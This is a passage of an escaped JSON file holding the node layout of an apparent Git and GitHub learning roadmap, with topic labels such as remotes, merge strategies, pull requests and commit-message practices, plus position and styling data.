\"positionAbsolute\": {\n        \"x\": 1049.0316934344742,\n        \"y\": 865.0489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fIfmS6BkkOFWzCB1RqrhK\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 795.8760409943199,\n        \"y\": 703.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Basic Collaboration\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 46,\n      \"style\": {\n        \"width\": 217,\n        \"height\": 46\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 795.8760409943199,\n        \"y\": 703.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 46\n      }\n    },\n    {\n      \"id\": \"NeSvgS2yA5x8qbcJHrV__\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 796.8760409943199,\n        \"y\": 799.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Essentials\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 796.8760409943199,\n        \"y\": 799.0489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"i7fIIHcBEk473te8bniJ5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 796.8760409943199,\n        \"y\": 878.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Creating Account\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 796.8760409943199,\n        \"y\": 878.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qZFtRABvlBbVvsy6T00J2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 796.8760409943199,\n        \"y\": 931.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Interface\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 796.8760409943199,\n        \"y\": 931.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GS3f1FKFVKT0-GJQrgCm8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 796.8760409943199,\n        \"y\": 984.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Setting up Profile\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 796.8760409943199,\n        \"y\": 984.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"c_FO6xMixrrMo6iisfsvl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 796.8760409943199,\n        \"y\": 1037.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Creating Repositories\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 796.8760409943199,\n        \"y\": 1037.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KbVvFVQ4k77R2_ddsc7WT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1076.5316934344742,\n        \"y\": 984.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Profile Readme\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1076.5316934344742,\n        \"y\": 984.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HEqBbw_A4ZbJI5zEy8ViN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1076.5316934344742,\n        \"y\": 1037.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Private vs Public\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1076.5316934344742,\n        \"y\": 1037.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aWx9WHUrgofcTr8B-fQYe\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 544.3760409943199,\n        \"y\": 799.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git Remotes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0rHDUbAdXqH9zQW2VfJ8v\"\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 544.3760409943199,\n        \"y\": 799.0489330045289\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sBQOInoFBU9XfkPZ-JlyT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 488.37604099431985,\n        \"y\": 608.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Managing Remotes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 488.37604099431985,\n        \"y\": 608.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZVMCh9om37ee1qsecFa-N\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 488.37604099431985,\n        \"y\": 661.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pushing / Pulling Changes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 488.37604099431985,\n        \"y\": 661.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Gybnekbd1rJKTOf4hJ4Sh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 488.37604099431985,\n        \"y\": 714.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Fetch without Merge\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 488.37604099431985,\n        \"y\": 714.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d_GNnB6PBINz1jxGNWAE-\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 473.37604099431985,\n        \"y\": 1356.5489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Collaboration on GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zLSGqFLjw2kodmMwurzrY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 473.37604099431985,\n        \"y\": 1356.5489330045289\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l1Wf7Pe_ah8ycCgslfSK4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.03169343447416,\n        \"y\": 1095.5489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Forking vs Cloning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.03169343447416,\n        \"y\": 1095.5489330045289\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"crdllx5cH_seIpgVPvHg_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.03169343447416,\n        \"y\": 1148.5489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Issues\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"x6eILrLCQrVpz4j8uOuy6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.03169343447416,\n        \"y\": 1148.5489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1Koej79yTv-OAswVZwgGq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 488.37604099431985,\n        \"y\": 555.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cloning Repositories\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sBQOInoFBU9XfkPZ-JlyT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 488.37604099431985,\n        \"y\": 555.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"x6eILrLCQrVpz4j8uOuy6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.03169343447416,\n        \"y\": 1201.5489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pull Requests\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.03169343447416,\n        \"y\": 1201.5489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8lXXVFkgK6n5IHaYkYe3l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 501.87604099431985,\n        \"y\": 1169.5489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PR from a Fork\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 162,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 501.87604099431985,\n        \"y\": 1169.5489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r-u1vTpUyuvsB0revOU0C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 502.87604099431985,\n        \"y\": 1222.5489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Collaborators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 502.87604099431985,\n        \"y\": 1222.5489330045289\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aFuWO8Z74Lbiwh9F27Yrh\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 527.3760409943199,\n        \"y\": 1276.5489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Creating PR\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 527.3760409943199,\n        \"y\": 1276.5489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"y4DkB5NvTh41IeT0G2gr-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.03169343447416,\n        \"y\": 1254.5489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Labelling Issues / PRs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 208.03169343447416,\n        \"y\": 1254.5489330045289\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dQS1V0zZxeKhHhUo3STBK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 215.53169343447416,\n        \"y\": 1315.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Saved Replies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 215.53169343447416,\n        \"y\": 1315.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oWMaOWU06juoIuzXNe-wt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 215.53169343447416,\n        \"y\": 1368.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mentions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 215.53169343447416,\n        \"y\": 1368.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XstmIysIi_lWo6RzszLBt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 215.53169343447416,\n        \"y\": 1421.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Reactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 215.53169343447416,\n        \"y\": 1421.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Lw3oG5flufLskTN1AGIGc\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 241.53169343447416,\n        \"y\": 1481.348933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Commenting\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 36,\n      \"style\": {\n        \"width\": 155\n      },\n      \"positionAbsolute\": {\n        \"x\": 241.53169343447416,\n        \"y\": 1481.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"0rHDUbAdXqH9zQW2VfJ8v\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 544.3760409943199,\n        \"y\": 931.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Merge Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zLSGqFLjw2kodmMwurzrY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 180,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 544.3760409943199,\n        \"y\": 931.848933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"agtPWS8j6i6wQPk10cy8E\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.53169343447416,\n        \"y\": 852.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Fast-Forward vs Non-FF\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Z-srOhYFGVEKDexlJ6cjt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.53169343447416,\n        \"y\": 852.0489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9Dt4Gyiiq5jteWSKxsRMK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.53169343447416,\n        \"y\": 958.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Handling Conflicts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eFf2fesrs-1aVM5tH3ORQ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.53169343447416,\n        \"y\": 958.0489330045289\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"99FVJ3Zs8n6lr8L95mG6g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.53169343447416,\n        \"y\": 905.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Rebase\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Z-srOhYFGVEKDexlJ6cjt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.53169343447416,\n        \"y\": 905.0489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Z-srOhYFGVEKDexlJ6cjt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 329.53169343447416,\n        \"y\": 905.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Squash\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 329.53169343447416,\n        \"y\": 905.0489330045289\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eFf2fesrs-1aVM5tH3ORQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.53169343447416,\n        \"y\": 1011.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cherry Picking Commits\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.53169343447416,\n        \"y\": 1011.0489330045289\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C1ai9r31b7HPySw0o9tyT\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 816.3760409943199,\n        \"y\": 1360.0489330045289\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Best Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 42,\n      \"style\": {\n        \"width\": 173,\n        \"height\": 42\n      },\n      \"positionAbsolute\": {\n        \"x\": 816.3760409943199,\n        \"y\": 1360.0489330045289\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 42\n      }\n    },\n    {\n      \"id\": \"7lRUYWNSpHvJ-QyIE8RMa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1106.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Commit Messages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1106.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ks1Pip-RM-UWD6zuF2j4n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1159.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Branch Naming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1159.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GwDNk2HBjASr_NWIL4G3-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1212.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PR Guidelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 232,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1212.848933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xLB2fhsOm0Vu3xg_PusJB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 786.8760409943199,\n        \"y\": 1265.848933004529\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Code Reviews\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        